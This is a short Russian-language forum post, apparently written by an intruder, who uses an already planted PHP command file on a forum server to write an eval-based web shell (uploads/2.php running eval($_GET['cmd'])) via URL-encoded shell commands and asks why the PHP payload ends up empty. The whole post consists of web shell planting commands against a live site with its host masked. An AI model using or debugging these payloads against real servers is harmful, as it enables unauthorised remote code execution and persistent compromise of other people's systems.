проблема в том что не получается вобще создать
файл с спец символами через строку браузера
например
http://**********/forum/cache/lang_cache/ru/1.php?cmd=echo текст > /**********/forum/uploads/2.php
все нормально на сервере создается файл 2.php с содержимым текст

http://**********/forum/cache/lang_cache/ru/1.php?cmd=echo <? eval($_GET['cmd']); ?> > /**********/forum/uploads/2.php
создается пустой файл 2.php код <? eval($_GET['cmd']); ?> не проходит